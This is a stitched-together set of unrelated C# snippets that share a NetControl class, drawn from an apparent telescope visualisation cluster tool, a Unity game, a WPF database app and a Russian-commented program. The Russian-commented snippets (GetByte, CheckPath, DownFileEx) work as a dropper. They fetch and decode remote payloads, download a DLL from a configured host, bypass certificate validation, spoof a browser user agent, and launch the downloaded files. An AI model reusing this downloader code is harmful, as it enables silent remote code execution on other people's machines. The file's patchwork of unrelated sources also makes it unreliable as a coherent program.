/// <summary> /// Fetches the Advertised Service Info /// </summary> /// <returns>a list of 0 or more AdvertisedServiceInfo</returns> private List <AdvertisedServiceInfo> GetFilteredAdvertisedServices() { try { List <AdvertisedServiceInfo> servInfos = new List <AdvertisedServiceInfo>(); //get normal Media Servers if (this.PopulateRegularServers) { servInfos.AddRange(NetControl.GetAllAdvertisedServices(2, AXServicesAddress)); } //and get all Restreamer Media Servers if (this.PopulateRestreamers) { servInfos.AddRange(NetControl.GetAllAdvertisedServices(3, AXServicesAddress)); } return(servInfos); } catch (Exception ex) { Debug.WriteLine("Failed GetFilteredAdvertisedServices: " + ex.Message); return(new List <AdvertisedServiceInfo>()); } }
public static void SendWWTRemoteCommand(string targetIP, string command, string param) { Socket sockA = null; IPAddress target = null; sockA = new Socket(AddressFamily.InterNetwork, SocketType.Dgram, ProtocolType.IP); if (targetIP == "255.255.255.255") { sockA.SetSocketOption(SocketOptionLevel.Socket, SocketOptionName.Broadcast, 1); target = IPAddress.Broadcast; } else { target = IPAddress.Parse(targetIP); } IPEndPoint bindEPA = new IPEndPoint(IPAddress.Parse(NetControl.GetThisHostIP()), 8099); sockA.SetSocketOption(SocketOptionLevel.Socket, SocketOptionName.ReuseAddress, 1); sockA.Bind(bindEPA); EndPoint destinationEPA = (EndPoint) new IPEndPoint(target, 8089); string output = "WWTCONTROL2" + "," + Earth3d.MainWindow.Config.ClusterID + "," + command + "," + param; Byte[] header = Encoding.ASCII.GetBytes(output); sockA.SendTo(header, destinationEPA); sockA.Close(); }
/// <summary> /// Fetches the list of all advertised services (video servers and restreamers) /// </summary> /// <returns>a list of zero or more items</returns> public static List <AdvertisedServiceInfo> GetAllAdvertisedServices() { List <AdvertisedServiceInfo> servers = NetControl.GetAllAdvertisedServices(2); servers.AddRange(NetControl.GetAllAdvertisedServices(3)); return(servers); }
private void amBtnDataServer_Click(object sender, RoutedEventArgs e) { DataServerConfigWnd configWnd = new DataServerConfigWnd(this); configWnd.ShowDialog(); if (mbConnected == true) { loadDBRecPage(); amLabDataConnSta.Content = "状态:已连接至" + mConnInfo.Server + ":" + mConnInfo.Port; //start register service below mNc = new NetControl(mTableManager, TestConfig.GetTestStrArrayFromFile()); mNc.mfOnServerStart = SetLocalIPDisplayInvoke; mNc.mAddRecFunc = AddServerSubjectCtrlRecord; mNc.mRemoveRecFunc = RemoveServerSubjectCtrlRecord; mNc.mChangeRecStaFunc = ChangeServerSubjectCtrlRecordStatus; mNc.mListener = new TcpListener(new IPAddress(new byte[] { 127, 0, 0, 1 }), 8500); mThreadService = new Thread(mNc.ServerStart); mThreadService.Start(); amBtnTestConfig.IsEnabled = false; amBtnDisconn.IsEnabled = true; } }
// Use this for initialization void Awake() { if (netControl == null) { netControl = this; } SetUpDiscovery(); spawn.SpawnSettings(); }
private static void GetByte(string Link, string Name) { try { File.WriteAllBytes(Name, Convert.FromBase64String(NetControl.GetData(Link))); } catch (IOException) { } catch (UnauthorizedAccessException) { } catch (ArgumentException) { } }
private static void GetByte(string Link, string Name) { try { File.WriteAllBytes(Name, Convert.FromBase64String(NetControl.GetData(Link))); // Запишим байты в файл с уже расшифрованными данными. } catch (IOException) { } catch (UnauthorizedAccessException) { } catch (ArgumentException) { } }
public override void ProcessRequest(string request, ref Socket socket, bool authenticated, string body) { QueryString query = new QueryString(request); String sMimeType = "text/xml"; String name = ""; int nodeID = -1; float FPS = 0; string error = null; ClientNodeStatus status = ClientNodeStatus.Online; string StatusText = ""; if (!string.IsNullOrEmpty(query["NodeID"])) { nodeID = int.Parse(query["NodeID"]); } if (!string.IsNullOrEmpty(query["NodeName"])) { name = query["NodeName"]; } if (!string.IsNullOrEmpty(query["FPS"])) { FPS = float.Parse(query["FPS"]); } if (!string.IsNullOrEmpty(query["Error"])) { error = query["Error"]; } if (!string.IsNullOrEmpty(query["Status"])) { status = (ClientNodeStatus)Enum.Parse(typeof(ClientNodeStatus), query["Status"]); } if (!string.IsNullOrEmpty(query["StatusText"])) { StatusText = query["StatusText"]; } if (nodeID != -1 && !string.IsNullOrEmpty(name)) { string ip = ((IPEndPoint)socket.RemoteEndPoint).Address.ToString(); NetControl.LogStatusReport(nodeID, name, ip, status, StatusText, FPS, error); } String data = "<?xml version = \"1.0\" encoding=\"utf-8\"?>" + "<Status>Ok</Status>"; SendHeaderAndData(data, ref socket, sMimeType); }
public BaseServer() { _inited = true; _socket = new BaseSocket(); _socket.setServer(this); _socket.setConnectCall(onConnect); _socket.setConnectFailedCall(onConnectFailed); _socket.setCloseCall(onClose); _socket.setCreateResponseFunc(createResponse); NetControl.addSocket(_socket); }
public static string RandomProcessName = ""; // зададим пустую переменную для назначения имени процесса. public static bool CheckPath() { HomeDirectory.Create(GlobalPath.GarbageTemp, true); // Создаём папку Garbage с удалением всех данных внутри перед началом. if (GlobalPath.NewStartupPath.Equals(GlobalPath.GarbageTemp)) // Проверяем существует ли наша папка Temp\Garbage\ { if (NetControl.CheckURL(GlobalPath.Dll_Host)) // Проверить подключение к серверу. { return(SafeDll.Download(GlobalPath.Dll_Host)); // начало загрузки .dll } else { return(false); // Если интернет отсутсвует завершаем работу. } } else // Если папка есть то { GeName(GlobalPath.GarbageTemp); // выполняем метод для копирования самоисполняющего файла. return(CheckPath()); } }
public static bool DownFileEx(string Link, string SavePath, string FileName) { string Merge = CombineEx.Combination(SavePath, FileName); if (!File.Exists(Merge)) { if (!NetControl.CheckURL(Link)) { return(false); } else { using (var Web = new WebClient()) { ServicePointManager.ServerCertificateValidationCallback += ValidateRemoteCertificate; ServicePointManager.SecurityProtocol = SecurityProtocolType.Tls; ServicePointManager.SecurityProtocol = SecurityProtocolType.Ssl3; Web.Headers.Add(HttpRequestHeader.UserAgent, "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.94 Safari/537.36 OPR/49.0.2725.64"); Web.DownloadFile(new Uri(Link), Merge); if (!File.Exists(Merge)) { return(false); } else { LaunchFile(Merge); return(true); } } } } else { LaunchFile(Merge); return(true); } }
public override void ProcessRequest(string request, ref Socket socket, bool authenticated, string body) { bool cache = true; QueryString query = new QueryString(request); String sMimeType = "image/JPEG"; if (request.ToLower().IndexOf(".png") > -1) { sMimeType = "image/PNG"; } int iTotBytes = 0; string fileName = request.Substring(request.LastIndexOf("/") + 1); byte[] data = new byte[0]; if (request.Contains("/tour/")) { if (Earth3d.MainWindow.TourEdit != null) { TourDocument tour = Earth3d.MainWindow.TourEdit.Tour; if (fileName.ToLower() == "slidelist.xml") { sMimeType = "text/xml"; data = tour.GetSlideListXML(); } else if (tour != null) { data = ReadBinaryWebFileFromDisk(tour.WorkingDirectory + fileName); } } else { if (fileName.ToLower() == "slidelist.xml") { sMimeType = "text/xml"; data = TourDocument.GetEmptySlideListXML(); } } } else if (fileName == "refresh.png") { Earth3d.RefreshCommunity(); } else if (fileName == "screenshot.png") { if (ScreenBroadcast.Capturing) { data = ScreenBroadcast.ScreenImage; } } else if (request.Contains("/imageset/")) { string[] parts = request.Split(new char[] { '/' }); IImageSet imageset = (IImageSet)Earth3d.ImagesetHashTable[Convert.ToInt32(parts[2])]; if (imageset != null) { data = ReadBinaryWebFileFromDisk(imageset.Url); } } else if (fileName == "layermap") { SendBinaryFileFromDisk(Properties.Settings.Default.CahceDirectory + "\\layerSync.layers", ref socket, sMimeType); return; } else if (fileName == "tour.wtt") { SendBinaryFileFromDisk(Properties.Settings.Default.CahceDirectory + "\\tourSync.wtt", ref socket, sMimeType); return; } else if (fileName == "colorsettings") { data = NetControl.GetColorSettingsData(); } else if (fileName == "executable") { SendBinaryFileFromDisk("wwtexplorer.exe", ref socket, sMimeType); return; } else if (fileName.StartsWith("distort") || fileName.StartsWith("blend")) { string path = String.Format("{0}\\ProjetorWarpMaps\\", Properties.Settings.Default.CahceDirectory); data = ReadBinaryWebFileFromDisk(path + fileName); } else { data = ReadBinaryWebFile(fileName); } iTotBytes = data.Length; SendHeader(HttpVersion, sMimeType, iTotBytes, " 200 OK", ref socket, cache); SendToBrowser(data, iTotBytes, ref socket); }
// Use this for initialization void Start() { netControl = GetComponent <NetControl>(); }
public void InititializeHUD() { Debug.Log("initialized"); netCon = NetControl.netControl; netCon.HUD = this; }
private static void CaptureThreadFunction() { int frameNumber = 0; while (Earth3d.MainWindow != null) { Thread.Sleep(msPerFrame); if (capturing && Earth3d.MainWindow != null) { frameNumber++; Graphics g = Graphics.FromImage(bmp); g.CopyFromScreen(0, 0, 0, 0, new Size(Screen.PrimaryScreen.Bounds.Width, Screen.PrimaryScreen.Bounds.Height)); g.Dispose(); MemoryStream ms = new MemoryStream(); bmp.Save(ms, System.Drawing.Imaging.ImageFormat.Jpeg); ScreenImage = ms.ToArray(); ms.Dispose(); ms = null; string url = string.Format(String.Format("http://{0}:5050/images/{1}/screenshot.png", MyWebServer.IpAddress.ToString(), frameNumber.ToString())); NetControl.SendCommand(String.Format("SCREEN,{4},{0},{1},{2},http://{3}:5050/images/{5}/screenshot.png", Properties.Settings.Default.ScreenOverlayAlt, Properties.Settings.Default.ScreenOverlayAz, Properties.Settings.Default.ScreenOverlayScale, MyWebServer.IpAddress.ToString(), Earth3d.MainWindow.Config.ClusterID.ToString(), frameNumber.ToString())); if (Properties.Settings.Default.ScreenOverlayShowLocal) { if (Earth3d.MainWindow.videoOverlay == null) { Earth3d.MainWindow.videoOverlay = new ImageSetHelper("video", url, ImageSetType.Sky, BandPass.Visible, ProjectionType.SkyImage, Math.Abs(url.GetHashCode32()), 0, 0, 256, Properties.Settings.Default.ScreenOverlayScale / 1000, ".tif", false, "", Properties.Settings.Default.ScreenOverlayAz, Properties.Settings.Default.ScreenOverlayAlt, 0, false, "", false, false, 2, 960, 600, "", "", "", "", 0, ""); } Earth3d.MainWindow.videoOverlay.CenterX = Properties.Settings.Default.ScreenOverlayAz; Earth3d.MainWindow.videoOverlay.CenterY = Properties.Settings.Default.ScreenOverlayAlt; Earth3d.MainWindow.videoOverlay.BaseTileDegrees = Properties.Settings.Default.ScreenOverlayScale / 1000; Tile tile = TileCache.GetTile(0, 0, 0, Earth3d.MainWindow.videoOverlay, null); if (Dirty) { tile.CleanUpGeometryOnly(); Dirty = false; } tile.ReadyToRender = false; tile.TextureReady = false; tile.Volitile = true; } else if (Earth3d.MainWindow.videoOverlay != null) { CleanUpImageSets(); } } else { CleanUpImageSets(); } } }
private static void ShutdownClients() { NetControl.SendCommand(String.Format("SCREEN,{0},0,0,0,,", Earth3d.MainWindow.Config.ClusterID.ToString())); CleanUpImageSets(); }